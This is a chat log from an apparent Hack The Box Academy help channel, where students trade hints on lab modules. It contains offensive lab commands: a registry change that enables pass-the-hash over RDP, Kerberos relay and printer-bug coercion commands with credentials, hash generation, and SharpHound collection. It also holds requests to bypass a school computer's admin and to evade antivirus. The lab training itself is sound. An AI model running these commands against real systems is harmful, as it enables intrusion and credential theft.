misty current
green minnow
#

You basically have to look up a reddit post that says the lab doesn't work on your own machine and you must use pwnbox. Would be useful to have that as a hint on the question to not waste people's time.

flat patrol
junior flicker
#

Is there a place to report issues with pwnboxes? Yesterday I was working on Attacking Common Services, Attacking DNS and using subbrute with names.txt kept causing a ProcessLookupError exception

rustic sage
#

Hi beginner here, i'm trying to connect to the mongodb server on the very easy box, i'm getting the error "bash: ./mongosh: cannot execute binary file: Exec format error" , i'm guessing its because the version the tutorial recommends doesnt work for my architecture, and i can't find where to download a different version, anyone got any advice for me?

shut vapor
#

I found the assessment to be quirky. I will admit that much.

#

My notes don't include much secret sauce but detail my observations about the lab. If you want to share what you were trying we could talk about it. DM's open or here is fine.

#

Now that I think about it, the lab is a little like Schrodinger's IDS.

rustic sage
#

maybe a warning or something for this box could be warranted as it's "very easy", unless i did something wrong, idk

burnt spruce
#

Try to connect via RDP using the Administrator hash. What is the name of the registry value that must be set to 0 for PTH over RDP to work? Change the registry key value and connect using the hash with RDP. Submit the name of the registry value name as the answer.

Password attack - Pass the Hash (PtH)

#

So guys,i need to enable restict admin mod
c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

#

then i connect via rdp, but what da hell i need to answer on this question?

#

0? 1? 0x0?

tranquil axle
#

the "value name" it is looking for is the text after the /v parameter in your command

woeful lake
#

Hi im stuck at Attacking DNS from attacking common services module, i have found all the subdomains (i think), but the thing is i cannot find the flag in the dns record.

tranquil axle
#

because your computer does not know to redirect "something.academy.htb" to the assigned ip

lusty thicket
#

relies on host headers to serve the appropriate vhost

tranquil axle
#

if you had every possible subdomain also in your hosts file you could fuzz like that, but you don't

#

but the nice thing about vhosts is that you can just fuzz the ip and tell it in the hosts header which subdomain you "wanted to visit" and the server will respond accordingly

lusty thicket
#

a bit misleading

delicate latch
#

from evil-winrm why cannot i run diskshadow.exe

lusty thicket
#

because the server doesnt have psychic abilities

tranquil axle
#

academy.htb is not a "real" address, your dns does not know what ip stands behind academy.htb and thats why you have to map it manually in your /etc/hosts file

#

and since it doesn't know that academy.htb maps to ip 1.2.3.4, it also doesnt know where subdomain.academy.htb maps to

lilac breach
#

It wont let me type in the other chats but does anyone know if there is a tool that can get the json format of a file or whatever else instead of me having to do it manually?

hard phoenix
tranquil axle
#

but you know/assume that all the subdomains are hosted on the same server/ip, so what you can do is you fuzz the same ip and in the host header you "fake" which subdomain you browsed. The webserver is set up to check the host header to know which page to serve you

surreal marsh
#

Hello can someone help out with "Using the techniques shown in this section, find the cleartext password for the bob_adm user on the target system." in WinPrivEsc module? Honestly doing it and for the first time I'm stuck for like couple of hours now. The passwords I was able to obtain are

W1ck3d_g00d_Db_P@ss!
5erv3rAdmin!
l#-x9r11_2_GL!
Str0ng3ncryptedP@ss!
#

none of them are bob_adm

scarlet agate
#

When trying to use the dirkjanm tools I get a ModuleNotFoundError: No module named 'lib.utils'. Does anyone know how to fix this error?

lusty thicket
hard phoenix
# scarlet agate When trying to use the dirkjanm tools I get a ModuleNotFoundError: No module nam...

Make sure you're running the script from the directory where the lib directory is located. You can do this by navigating to that directory in your terminal or command prompt before running the script.

You can add the lib directory to your Python path using the sys.path.insert() method. Add the following code to the top of your script:

import sys
sys.path.insert(0, '/path/to/lib/directory')

Replace '/path/to/lib/directory' with the actual path to the lib directory.

tranquil axle
#

the browser only responds once you put the url you found also in your etc/hosts file

dense jay
#

can someone help me by-pass my admin on my school computer because i cant download a virtualbox

scarlet agate
woeful lake
safe star
worn matrix
#

when the uid is 1000,on a docker containter,how do we escape it?there was a machine i did, but i dont remember the technique

safe star
surreal marsh
safe star
#

its a pretty big part of that section

safe star
surreal marsh
#

Nothing there

safe star
surreal marsh
surreal marsh
worn matrix
safe star
#

theres a lot of methods

lusty thicket
#

probably a uid mapping exploit

worn matrix
#

I don't know the name ,I know you obtain a shell as the user with this uid

dense jay
pallid spindle
#

hi! i have a problem with question "Identify one of the non-standard update services running on the host. Submit the full name of the service executable (not the DisplayName) as your answer." in windows fundamental, i tried using command {$_.Status -eq "Running"} | select -First 2 |fl but it showed me a bunch of random processes and none of them are working.

lusty thicket
pallid spindle
#

i got it thanks

lusty thicket
#

awesome

scarlet agate
#

I am working on the Kerberos Attacks Unconstrained Delegation - Users module and I'm having trouble figuring out what I'm doing wrong. I keep getting a Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider' error on the krbrelayx.py side and a DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied error on the printerbug.py side. Can anyone tell me what I am missing please?

rustic sage
#

Hi, I'm stuck on 2nd flag in Windows Lateral Movement Skills assessment. Can anyone give some hint?

dapper moth
rustic sage
#

What kind of file do you mean? Notes.txt or rather some ssh key?

dapper moth
tulip cloak
#

Hi, I am trying to execute SharpHound by evil-winrm connection, but it is not starting... do you know what is the reason?
Evil-WinRM PS C:\Users\tmp> Invoke-Binary SharpHound.exe -c all

safe star
#

No output at all or failing?

tulip cloak
#

ERROR(S):
Option 'c, collectionmethods' has no value.

tranquil axle
#

Invoke Binary has a weird syntax for passing arguments

safe star
#

Yeah

#

Try .\

tranquil axle
#

you have to either do Invoke-Binary SharpHound.exe -c,all or Invoke-Binary SharpHound.exe "-c, all"or something

#

if you call Invoke-Binary without any arguments it tells you the format

tulip cloak
#

Evil-WinRM PS C:\users\tmp> .\SharpHound.exe -c all
worked, thanks!
these dont work, but thanks! Invoke-Binary SharpHound.exe -c,all or Invoke-Binary SharpHound.exe "-c, all"Invoke-Binary SharpHound.exe -c,all or Invoke-Binary SharpHound.exe "-c, all"

tranquil axle
#

Invoke-Binary loads the file from your harddrive, not from the drive where you are connected, it is used to execute a binary without dropping it on disk of the target machine (to avoid AV detection)

#

if you are able to drop the file on the machine then yea, your syntax with .\ works fine

haughty quarry
#

I'm doing Active directory Enumeration and attacks, and I have spawned the machine and the target machine. I don't have network connectivity on target machine. Is this expected? I can't clone the kerbrute.git

scarlet agate
#

Does anyone have a suggestion for me?

analog dock
haughty quarry
#

And for the nmap scan- sudo nmap -v -A -iL hosts.txt -oN /home/htb-student/Documents/host-enum what is the hosts.txt. Is it the result of the fping scanfping -asgq 172.16.5.0/23

analog dock
#

Well you want to scan the hosts that are up

worn matrix
#

does HttpOnly protects against stored-xss or not?or with stored,you can make any request you want?

lusty thicket
fathom pendant
#

the external range is gonna be the 10.129.x.x; then once you get a foothold you'd scan for internal/use a pivoting tool

fathom pendant
#

and treating it as one is beneficial for developing a methodology

haughty quarry
fathom pendant
#

just go find your way to Domain Admin

#

as the questions can be leading you on to the path

haughty quarry
fathom pendant
#

again it's about helping hone your methodology

#

the entire module itself is a walkthrough of it

#

you shouldn't need it to get to DA

#

after domain compromise then answer the questions

#

that way you're not relying on the questions to nudge you onto potentially the right path

haughty quarry
fathom pendant
#

nope

haughty quarry
fathom pendant
#

everything you need to know to move forward is taught to you by the modules preceding it, if doing the CPTS path

#

everything from service enumeration, to credential harvesting

#

most of what you learned to do would have been in the AD Enum & Attacks module; and WIndows Privesc module

haughty quarry
dark hedge
#

have you done the prerequisite modules?

#

there should be a list of modules you should complete before doing the AD Enum & Attacks module

fathom pendant
#

Oh wait

#

misread

#

you're on the AD Enum module

#

my bad

#

then yeah, read the module

#

i'm sorry lol

#

i'm so used to people wanting the hints and stuff for AEN that i misread it

haughty quarry
fathom pendant
#

also kerbrute should already be installed on the internal parrot host

#

you shouldn't have to clone it

#

or do anything

haughty quarry
fathom pendant
#

I think Calc was going off the same assumption i was on AEN based on my messages

haughty quarry
#

ok, np

#

I'll try and read through everthing. I didn't find kerbrute but might have missed it

dark hedge
#

it'll help with understanding the enumeration and attacks

haughty quarry
dark hedge
#

since some topics they expect you to know

haughty quarry
#

got it

#

Thanks

haughty quarry
dark hedge
scarlet agate
#

I am working on the Kerberos Attacks Unconstrained Delegation - Users module and I'm having trouble figuring out what I'm doing wrong. I keep getting a Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider' error on the krbrelayx.py side and a DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied error on the printerbug.py side. Can anyone tell me what I am missing please?

lusty thicket
vague lotus
#

Hello, I'm trying to get through page 3 of Introduction to Windows Evasion Techniques Static Analysis -- I have never coded in C# before, I have gen'd my shellcode to add to the given shell injector code....it appears I have to set up VSCode in Parrot, then xfer the payload to the victim...sadly I don't know how to compile nor execute...probably really simple stuff...im under a tight deadline to solve for this as I need an obfuscated payload to bypass MS Defender by next week....advice

#

seems like I need to go through the Introduction to C# course work first facePalm

scarlet agate
# lusty thicket looks like a permission error

I entered the commands ||python3 ~/AD/krbrelayx/addspn.py -u inlanefreight.local\carole.rose -p jasmine --target-type samname -t callum.dixon -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local||, ||iconv -f ASCII -t UTF-16LE <(printf "jasmine") | openssl dgst -md4||, ||sudo python3 ~/AD/krbrelayx/krbrelayx.py -hashes :1d1998b165c6f302bd1d6f89ecce153d||, ||python3 ~/AD/krbrelayx/printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local||, and ||python3 ~/AD/dementor.py -u carole.rose -p jasmine -d inlanefreight.local roguecomputer.inlanefreight.local dc01.inlanefreight.local||. Are you able to give me a hint what I'm doing wrong?

scarlet agate
gray yacht
# vague lotus Hello, I'm trying to get through page 3 of Introduction to Windows Evasion Techn...

That course provides you with a DEV machine. Refer back to the Introduction section to access it for every section. Basically you will need the Introduction section open and another tab open with the section you are working through. Work through the section with the DEV machine, then transfer the products you create to your VM, terminate the DEV machine, spin up the TARGET machine from your current section, and finally upload the products to see if you get the flag.

#

Or you can just use your own setup to create payloads and whatnot.

dapper moth
rustic sage
#

Someone put nuts on my cheese nuts sandwich

#

Anyone recently did active directory attack - skill assessment 2?

safe star
#

ask the question

rustic sage
safe star
rustic sage
# safe star its something you can do with a list of users

Ik you have to password spray something but I tried different wordlist with kerbrute and didnt give any results. Also responder just giving me DC names, smb gives me one line of text where it's telling me the username and password of the last two questions

safe star
rustic sage
#

Targeting smb?

safe star
#

the password spray section

rustic sage
#

But how do I create the users list?

#

Like the tools that are in that section are either giving me errors or no output or one line

safe star
#

they show two ways to password spray

safe star
rustic sage
safe star
#

yes

#

there is also another way on windows

loud dagger
#

hey do modules stay owned forever? like if i unlock every tier 1 and 2 module with my student subscription and then cancel it will i still be able to access them?

safe star
#

yeah i still got the whole path after my sub ended

stark hull
#

As I understand it, if you buy it with cubes its yours. If you finish a module while subbed its yours forever including updates.

loud dagger
#

oh cool

gray yacht
rustic sage
#

Bc I tried everything from module making target list

#

Nothing works of whats there

#

I got one username with kerbrute on DC01 but it's not the answer for question 4

haughty quarry
#

I need help understand the module content to follow along
For this module section https://academy.hackthebox.com/module/143/section/1265-
When I spawn a machine its a Kali machine and other machine which I start is my target machine.
What should I do? Should I setup pivoting to access 172.x.x.x address and do my enumeration and follow along?

fathom pendant
loud dagger
#

shit

lusty thicket
safe star
#

i just got the user using kerbrute

haughty quarry
safe star
#

It tells you to ssh and run the commands on there

#

if you want to start a pivot, then do that if you want

rustic sage
safe star
rustic sage
#

I found it too but it said it's wrong

safe star
rustic sage
#

And where does it say to run it against the domain controller and not ms01?

safe star
#

you could even copy the kerbrute command and just switch the user list and IP

#

even if you didnt know how it worked

atomic coyote
#

I am working on the Footprining/DNS Recon module and on the last problem looking for the host with IP ending in .203. I am using dnsenum with Seclists. I've run multiple lists and not getting it. Is there something I am missing or simply just keep running all the Seclists?

rustic sage
#

List jjsmith.txt

#

User starts with a

safe star
#

bro

#

you dont need to user enum if you already have a valid user

#

u can make a list of all the domain users with the creds you have

#

then password spray

rustic sage
#

Does the user start with a?

safe star
#

you just found a user

#

you didnt get any creds for them

#

theres a lot more users

rustic sage
#

Yea

safe star
#

no

rustic sage
#

Aight it's too late for this

safe star
safe star
atomic coyote
safe star
#

try dev

atomic coyote
#

Ah ok I see what's happening

quasi wave
#

hi

#

I am having trouble connecting to the target host from my own machine via VPN:

┌─[✗]─[greg@parrot]─[~]
└──╼ $sudo ssh david@inlanefreight.htb@10.129.154.29 -p 2222
[sudo] password for greg: 
ssh: connect to host 10.129.154.29 port 2222: Connection refused
#

nevermind fixed

quasi wave
#

I'm having trouble with cracking this file. I know I'm not supposed to FTP in and get the file but how do I pass in this ticket from linux:

carlos@inlanefreight.htb@linux01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_647402606_91JyEJ
Default principal: svc_workstations@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
12/06/2024 02:08:32  12/06/2024 12:08:32  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
    renew until 12/07/2024 02:08:32
#

this is for question 5 of pass the ticket from linux section of password attacks module

cloud urchin
#

the section should explain what to do

quasi wave
#

I think I just need to let my brain marinate and reread the section

#

first five questions were easy so I'm sure question 6 is too if I do that

cloud urchin
#

covered under password attacks module i believe

quasi wave
#

I'm gonna reread section tomorrow

#

I'm probably missing something

winter schooner
#

Can anyone give me a hint or point me in the right direction , ad enum and attacks skill assessment 1 question, Connect to the admin on ms01 and get the flag

winter schooner
# cloud urchin did you connect to ms01?

I only have a nc session on a windows target and rdp isnt open on the target, and i have sharphoubd zipfile, but cant transfer to linux attackhost to see output.

winter schooner
scarlet agate
#

I am still stuck working on the Kerberos Attacks Unconstrained Delegation - Users module and I'm having trouble figuring out what I'm doing wrong. I keep getting a Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider' error on the krbrelayx.py side and a DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied error on the printerbug.py side. Can anyone tell me what I am missing please? It was suggested that there is some type of permission error. Do I need to configure something on Windows to allow RPC?

cloud urchin
#

access denied sounds like wrong credentials to me

full echo
#

What have you tried so far?

#

what have you tried so far?

#

What payload did you use?

urban raptor
scarlet agate
cloud urchin
#

it provides the ntlm hash?

#

i just checked, it doesn't

scarlet agate
#

I can generate a hash. It provides the passwords

#

||iconv -f ASCII -t UTF-16LE <(printf "C@lluMDIXON") | openssl dgst -md4||

cloud urchin
#

did you craft the SPN?

scarlet agate
#

Yes. For CIFS

cloud urchin
#

as long as spn is correct, and the syntax of the commands are correct, it should just work. that error code specifically indicates a problem with permissions or maybe the spn

#

so i guess double check your target/creds/etc in the syntax

#

careful not to spoil stuff

scarlet agate
#

Okay

cloud urchin
#

but yeah you're not using the right creds

scarlet agate
#

I'm still getting the same error with carole.rose

cloud urchin
#

i would make sure all targets/creds are correct and probably restart the target and try again

kind harbor
#

Was on Reddit looking up how to become a hacker now im here (???)

indigo prism
#

Can we reset path progress?

lusty thicket
indigo prism
#

🤓

#

Thanks

shut quest
fickle topaz
#

hello goo day guy

rustic sage
#

hello i need help with Attacking Thick Client Applications
i stuck two days in this one , please help

compact patrolBOT
rustic sage
#

i tried many times to capture the files

kind harbor
#

@fathom pendant

fathom pendant
kind harbor
#

What

#

Oh sorry I thought u were saying my user out loud. Apologies

cloud urchin
#

just ask your question

foggy monolith
#

Stuck on the RDP-access-to-Web01 question in Windows Privesc § Further Credential Theft (67 § 638). Tried LaZagne — no dice. Mimkatz — still nothing. SessionGopher — nothing again. Registry keys where creds are typically stored — again, nothing. So what else is there?

#

Doesn't help that every single graphical enumeration attempt is being interrupted by the periodically-flickering-desktop issue that @blissful verge needs to be made aware of (see post in #1234357888114364508 about WINLPE-SRV01)

#

Even managed to spawn a reverse shell on the box as TrustedInstaller (!) to no avail with credentials.

silk heron
#

How to hack

rustic sage
compact patrolBOT
foggy monolith
#

Cmdkey, meanwhile, is only returning one entry: the administrator. Not a word about WEB01 either.

#

Oops, never mind, was trying to RDP as the wrong user

storm elk
foggy monolith
#

Even so, the performance of the target SUCKS. Takes a full 10 seconds to respond to a single click.

storm elk
#

Try to connect over tcp to the vpn. Sometimes that helps

#

Or switching regions, maybe they destroyed another cable under the ocean

foggy monolith
#

Not going to matter when it's a US region I'm connected to and I'm in California.

autumn pilot
#

Reach out to support for connection related issues

foggy monolith
grim nimbus
#

hi man, I'm really stuck with this task. can I DM you?

astral ravine
#

I wanna go for CPTS & CBBH both cert

#

which one should I go first?

foggy monolith
#

Since most of the CBBH modules are in the CPTS role path already, you kind of get a 2-for-1 deal if you go for the CPTS first. Still have 2 modules to go though…

#

But anyhow, finally moved on now that I read the fine print about who to connect as for each of the other flags.

rose sage
#

Is this where we can ask a question about a module question?

storm elk
#

@rose sage you came to the right place

rose sage
#

Information Security Introduction to Windows Command Line. Question: Using the skills acquired in this and previous sections, access the target host and search for the file named 'waldo.txt'. Submit the flag found within the file.

I am using:
where /R C:/ *.txt

#

but error comes back

+ at line: 1 char:1
+ ~~~~~~~~~~~~~~~```
#

but i try it on another local machine and it works. Am i doing something wrong?

#

i have also tried to use find command with similar results.

storm elk
#

have you tried C:\ with a backslash?

rose sage
#

oh sorry.... yes i just put it backward on this text. I did use \

#
where /R C:\ waldo.txt
find "waldo" *.txt```
#

i have tried them all

#

the only one i have not tried is findstr

storm elk
#

okay give me a sec

#

I didn't do that module yet but I will try that section

#

Actually, reading the section

#

you seem to be using powershell

#

and the section is using cmd instead of powershell

rose sage
#

yes thats the one

storm elk
#

so you need to get into commandline

#

enter the cmd command, that should resolve your issue

rose sage
#

I think servers are slow i had to reconnect but having issues now.

storm elk
#

Try to switch regions, that might help. If not, best to contact support

#

but the only issue here is being logged into the powershell and not having started the commandline 🙂

rose sage
#

ok let me work with this and see what i can do. thanks

storm elk
#

When connected, just enter cmd and press enter that will get you into commandline

rose sage
#

you were absolutely correct. Did not notice that when i was in there. 🤦‍♂️ Thank you for the help.

rustic sage
#

wazzup???

empty trout
#

hey i am stuck at this que What command language interpreter is used to establish a system shell session with the target? it think the answer to this is meterpreter

empty trout
storm elk
storm elk
rose sage
#

@storm elk just did. Commands work fine when you are actually using it in cmd and not in PS. Did not see the PS in front when i ssh'd in. 🤦‍♂️

storm elk
#

no worries 😄

atomic coyote
robust quartz
#

How i can copy paste from my local machine to PwnBox?

#

I cant even copy a word

autumn pilot
#

check your browser permissions

waxen totem
empty trout
#

yeah but its not correct

#

cmd /bin/bash /bin/sh are all wrong answer too

empty trout
#

termianl is a program not a command language interpreter

robust quartz
#

Console

empty trout
#

💀

#

the answer is powershell buthow we are using meterpreter shell

#

and meterpreter shell usess in memeory dll-injection so how come powershell is the right answer to that que

#

can anybody explain this to me

urban elk
#

what payload did you use ?

empty trout
#

default payload which is a meterpreter shell

empty trout
#

its windows/smb/psexec

urban elk
#

so in meterpreter when you type shell you get dropped into a PS shell, right ?

empty trout
#

no cmd

#

but the que is What command language interpreter is used to establish a system shell session with the target?

urban elk
#

interesting. What's the module and section ?

empty trout
urban elk
#

yeah, good question, not sure and not sure how I got it. We do see [*] 10.129.180.71:445 - Selecting PowerShell target in the output but it's the only reference. I would have said we get a powershell from meterpreter but even the content shows cmd

empty trout
#

yeah

#

thats the confusion

#

chatgpt ```How PowerShell Comes Into Play
windows/smb/psexec Mechanics:

This exploit uses SMB to remotely execute commands on a target machine.
By default, it creates and executes a service (svcctl) on the target machine to deliver the payload.
The payload might use PowerShell as the interpreter to execute commands or load the Meterpreter stager into memory.
PowerShell’s Role:

When targeting a modern Windows system, PowerShell is often used by Metasploit as the native command-line interpreter to run the payload (especially in post-2012 Windows systems where PowerShell is default).
The payload may leverage PowerShell to:
Execute the initial stager.
Inject Meterpreter or other payloads into memory.

Why PowerShell is the Right Answer
PowerShell is the underlying interpreter used to bootstrap and execute the Metasploit payload when leveraging windows/smb/psexec. While Meterpreter is the final shell you see, the actual execution of the stager is mediated by PowerShell on modern Windows systems.

dark hedge
#

please do not feed AI HTB content above Tier 0, as AI trains off of the data you give it

safe star
#

Powershell can still open cmd and and vice versa

urban elk
empty trout
urban elk
empty trout
#

yeah this part `Automatic Target

There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natie upload. Each target is explained below.

Powershell Target

The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.

Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.

`

safe star
#

going off what the hint says

empty trout
#

in conclusion powershell is being used to spawn the meterpreter shell

safe star
#

Yes

urban elk
midnight galleon
#

Can I run bloodhound.py over a pivot? I keep getting connection refused

autumn pilot
#

yes, you can use the python version of bloodhound to collect data of the domain

#

try using tcp when starting a collection

midnight galleon
#

Got dns.resolver.LifetimeTimeout: The resolution lifetime expired after 3.104 seconds: Server Do53:DC_IP@53 answered The DNS operation timed out

#

even with tcp

#

also increased the timeout but still

prisma zealot
#

Hello

#

who could help me on ZAP Scanner ?

#

I've got some issues to find the flag of Using Web Proxies\Web scanner\zap scanner

prisma zealot
#

Yes, I ran a scan, and that's where I'm stuck.
It seems I should be seeing a red vulnerability, but all I have are a bunch of orange ones

gray yacht
#

If you are still not understanding after checking that part out again, let me know and I will explain that section a bit more.

prisma zealot
plain charm
#

Hello. A very disturbing problem is annoying me. in the information gathering -web edition module the submodule virtual Hosts. tomorrow I did the all questions except the first two due to proper wordlists, but now the main issue is the DNS resolution of inlanefreight.htb:PORT I refresshed the academy site, changed from my own VM to PwnBox and added that to my local hosts file vim /etc/hosts and refered to my previous commands which WORKED and copy the hostname excluding the port as its not static. I know the question is big but after doing everything I can, I still can't resolve the IP to host locally.( I can access it with IP:PORT in web and in my fuzzer)

#

can someone point out where I am doing wrong?

autumn pilot
#

don't include the port in the hosts file

plain charm
#

also if anyone can provide me proper wordlist that can assist me in solving the first 2 questions,( If its against the ethics of the module, no need)

winter schooner
flat patrol
#

I thought I would enable my persistence and ask the group again if someone could help me finding the API with module/144/section/1311 Question 3 - What is the API key in the hidden admin directory that you have discovered on the target system? I add the ip and inlanefreight.htb to the /etc/hosts file, I can ping it after, but if I goto the website it will not load. I cannot do a whois, or a dig, or a dnsenum. It's like I am missing something. I spent 6 hours the other day and thought I would re-visit this morning. Same results. If anyone has experience with this one please message me. Thanks ❤️

gray yacht
flat patrol
autumn pilot
#

don't forget to include the port as the application is not running on default ports such as 80 and 443

flat patrol
urban elk
#

www.inlanefreight.htb is not the same as inlanefreight.htb

#

one step at a time

gray yacht
flat patrol
flat patrol
#

module/144/section/1311

gray yacht
flat patrol
flat patrol
#

@gray yacht I can't use the whois, I can't get the robots.txt because the site won't load, dnsenum gives network errors. Gaaaaaaah

flat patrol
#

btw I appreciate your time, I don't expect a miracle, I am just hoping someone who has been here already might know where I am going wrong.

gray yacht
flat patrol
flat patrol
gray yacht
gray yacht
flat patrol
#

@gray yacht gobuster vhost -u http://94.237.59.180:12345 -w usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain ITS ALIVE just not the right wordlist, ok this is progress, thank you, I have something to play with now 🙂

gray yacht
flat patrol
humble ravine
#

Hello there, can anyone point me to the right direction?

I'm currently working on the module : "Windows Attacks & Defense" section : "Print Spooler & NTLM Relaying"

I'm asked to configure NTMLRelayx to forward any connections to DC2 and attempt to perform the DCSync attack, when I do so with the same command shown in the module I get a bunch of errors like: "OSError: [Errno98] Address already in use" but at the end it says "Servers Starded, waiting for connections" as it should be.

Then I switch to the kali machine and start the dementor.py as shown in the module, this one completes with no errors but when I switch back to the terminal where I setup the relay I cannot see anything happened.

I noticed that the relay terminal picked up some connections randomly even before I started dementor.py.

Anyways the second question asks me to connect to a server > implement a fix for this bug > check the message error, so I tried to connect to said server and the fix was already there.

Is it possible I'm stuck due to hbt vm not "resetting" properly? feels like I ended up in a already completed machine..

candid spire
teal sparrow
teal sparrow
teal sparrow
fathom pendant
teal sparrow
fathom pendant
#

In a rl engagement you'd typically be forced to use way less threads and requests than default

#

So you don't accidentally DOS something

teal sparrow
#

Up to him i guess thats 100% the right wordlist for all questions tho

fathom pendant
#

Yeah

jolly yacht
#

Any help on Intro to Assembly Language/ Task 1 please? I got the shellcode by decoding with rbx value in that program but if i execute that shellcode its not working, then i tried to fetch the assembly instruction of that shellcode and changed the register size according to the value but still getting Segmentation fault error if i execute that binary file after it got assembled.

fair void
#

heyy

#

why i can't messge on general

teal sparrow
fathom pendant
#

If only there were channels people should read to figure out how to navigate the server

fair void
#

got it sorry

midnight galleon
#

How can I listen with responder over a ligolo pivot?

flat patrol
#

I also gave the -t 200 faster, same results.

#

present your question and command to deepai.org and see if it gives you a different way of doing it, or copy your line and ask it to modify it to use another program listed in the module. Something I learned that works sometimes, but I have not done this module yet.

fathom pendant
#

Flag* not command

#

Like --domain

#

I don't use gobuster much

tranquil axle
flat patrol
# fathom pendant I don't use gobuster much

In newer versions of Gobuster, the --append-domain flag is required to append the base domain to each word in the wordlist when performing virtual host discovery. This flag ensures that Gobuster correctly constructs the full virtual hostnames, which is essential for the accurate enumeration of potential subdomains. In older versions of Gobuster, this functionality was handled differently, and the --append-domain flag was not necessary. Users of older versions might not find this flag available or needed, as the tool appended the base domain by default or employed a different mechanism for virtual host generation. <--- from the module, so I used: gobuster vhost -u http://94.237.54.240:39191 -w '/usr/share/seclists/Discovery/DNS/namelist.txt' --append-domain inlanefreight.htb (with and without -t 200) and it's very much functional, but the wordlist is incorrect it seems.

fathom pendant
#

¯_(ツ)_/¯

flat patrol
#

I am runnin namelist.txt but i also tried subdomains_5000, 20000, 110000, nada. But I have a heartbeat at least with gobuster

#

ooooo!

#

thanks for noticing the details, I should try again 🙂

fathom pendant
#

I used to get paid for details

bright coral
spring trellis
#

Hi, has anyone done the Pivoting, Tunneling, and Port Forwarding I am having some odd issue that I want to cross check!

flat patrol
# fathom pendant You need a domain to append

@bright coral this is who advised me to amend the domain, so that's what I did. It's a bit confusing, but that's ok. I opened another terminal to try without ammending it, but I also did that before with no results.

#

It's confusing after while. I had 6 hours yesterday and another 3 or so this morning now.

bright coral
# flat patrol

You add the IP and domain to your hosts file, then you use gobuster vhost -u http://<domain>:<port> -w <wordlist> --append-domain
OR
You use gobuster vhost -u http://<ip>:<port> -w <wordlist> --append-domain --domain <domain>

teal sparrow
flat patrol
tall haven
#

Hello

storm elk
#

Hello. Welcome. Please read #welcome and #rules it will explain how to get verified

spring trellis
#

Guys for some reason with my msfvenom payload I keep getting a segmentation error whenever I run it, not sure what might be causing it. I have tried a bunch of different payloads like x86, x64 and meterpreter_reverse_tcp but it's usually the same thing or just a constant connection to my multi handler but it keeps dropping and never actually eastablishes a connection

winter schooner
stiff axle
#

Hello all. I'm new in here.

acoustic owl
compact patrolBOT
spring trellis
winter schooner
scarlet agate
spring trellis
candid spire
winter schooner
spring trellis
#

Btw @winter schooner did you give the exam or are prepparing ?

winter schooner
#

like 50% done

spring trellis
#

Was gonna ask if you want to be study buddies but you are more than 2x ahead of me

winter schooner
#

ok, if you need any help though i can assist you cause i alr did those.

pine dune
#

Hi guys, on the skills assessment for XSS and could use some hints

pale granite
#

svc_inlaneadm

pine dune
#

none of the parameters seem to be vulnerable when I test with XSStrike :/

lusty thicket
pine dune
pine dune
#

its a bit weird

pine dune
pine dune
#

ty

flat patrol
pine dune
#

I will tho, once I find out which parameter is vulnerable

spring trellis
flat patrol
pine dune
#

the thing is... once I click "submit". The parameters change

pine dune
flat patrol
pine dune
#

oh wait just got it no worries

flat patrol
#

be sure to follow this too: